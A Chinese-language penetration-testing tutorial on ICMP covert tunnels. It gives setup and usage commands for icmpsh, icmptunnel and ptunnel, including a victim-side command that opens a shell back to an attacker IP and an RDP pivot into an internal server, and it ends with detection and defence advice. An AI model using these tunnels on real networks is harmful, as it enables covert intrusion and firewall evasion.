内网渗透之ICMP隐藏隧道
字数 1238 2025-08-25 22:59:02
ICMP隐藏隧道技术详解
一、ICMP隧道概述
ICMP(Internet Control Messages Protocol)是TCP/IP协议族的子协议,是一种面向无连接的协议,用于在IP主机、路由器之间传递控制消息。ICMP隧道技术将TCP/UDP数据包封装到ICMP的ping数据包中,利用防火墙通常不会屏蔽ping数据包的特性,实现隐蔽通信。
工作原理
- 请求端Ping工具会在ICMP数据包后面附加随机数据作为Payload
- 响应端会拷贝这段Payload到ICMP响应数据包中返还给请求端
- Windows/Linux默认Payload长度为64比特,但协议允许最大64K大小的Payload
- 隧道工具会将IP帧封装在ICMP请求数据包中传输
二、常用ICMP隧道工具
1. icmpsh
安装与配置
git clone https://github.com/inquisb/icmpsh.git # 下载工具
apt-get install python-impacket # 安装依赖
sysctl -w net.ipv4.icmp_echo_ignore_all=1 # 关闭本地ICMP应答
使用场景
适用于服务器暴露在外网且有防火墙限制敏感端口(如22、3389)的情况。
使用方法
- 攻击者IP: 192.168.1.76
- 服务器IP: 192.168.1.113
被攻击服务器端执行:
icmpsh.exe -t 192.168.1.76
攻击者端执行:
python icmpsh_m.py 192.168.1.76 192.168.1.113
2. icmptunnel
优势
可以穿过状态防火墙或NAT,解决非对称连接中数据包丢弃问题。
安装
git clone https://github.com/jamesbarlow/icmptunnel.git
cd icmptunnel
make
使用方法
- 攻击者IP: 192.168.1.76
- 被攻击者IP: 192.168.1.26
攻击者端(服务端):
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
./icmptunnel -s
# 新终端
/sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0
被攻击者端(客户端):
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
./icmptunnel 192.168.1.76
# 新终端
/sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0
3. ptunnel (PingTunnel)
安装
# 安装依赖
yum -y install byacc flex bison
# 安装libpcap
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar -xzvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
make && make install
# 安装PingTunnel
wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar -xzvf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install
典型场景
- 攻击者IP: 192.168.1.107(win7)
- 攻击者VPS: 192.168.1.76(kali)
- Web服务器: 192.168.1.26(外网), 172.168.1.16(内网)
- 数据库服务器: 172.168.1.18(内网), 3389端口开放
VPS端执行:
ptunnel -p 192.168.1.26 -lp 1080 -da 172.168.1.18 -dp 3389 -x cookie
参数说明:
-p: 跳板的公网IP-lp: 本机监听端口-da: 目标服务器内网IP-dp: 目标服务器端口-x: 隧道密码
Web服务器端执行:
ptunnel -x cookie
三、ICMP隧道检测方法
-
检测ICMP数据包数量
- 正常ping每秒最多2个数据包
- 隧道会产生大量数据包
-
检查Payload大小
- 注意Payload大于64bit的ICMP数据包
-
分析Payload内容
- Windows默认: abcdefghijklmnopqrstuvwabcdefghi (32字节)
- Linux默认: 48字节(前8字节随时间变化,后40字节固定为!01234567)
- 隧道工具可能添加标识(如icmptunnel会加"TUNL")
-
比较请求/响应Payload
- 正常ping请求响应Payload一致
- 隧道Payload可能不一致
四、防御建议
- 限制ICMP数据包速率
- 监控异常ICMP流量模式
- 过滤Payload异常的ICMP数据包
- 禁用不必要的ICMP协议
- 部署入侵检测系统监控ICMP隧道特征
通过以上方法可以有效检测和防御ICMP隧道攻击,保护内网安全。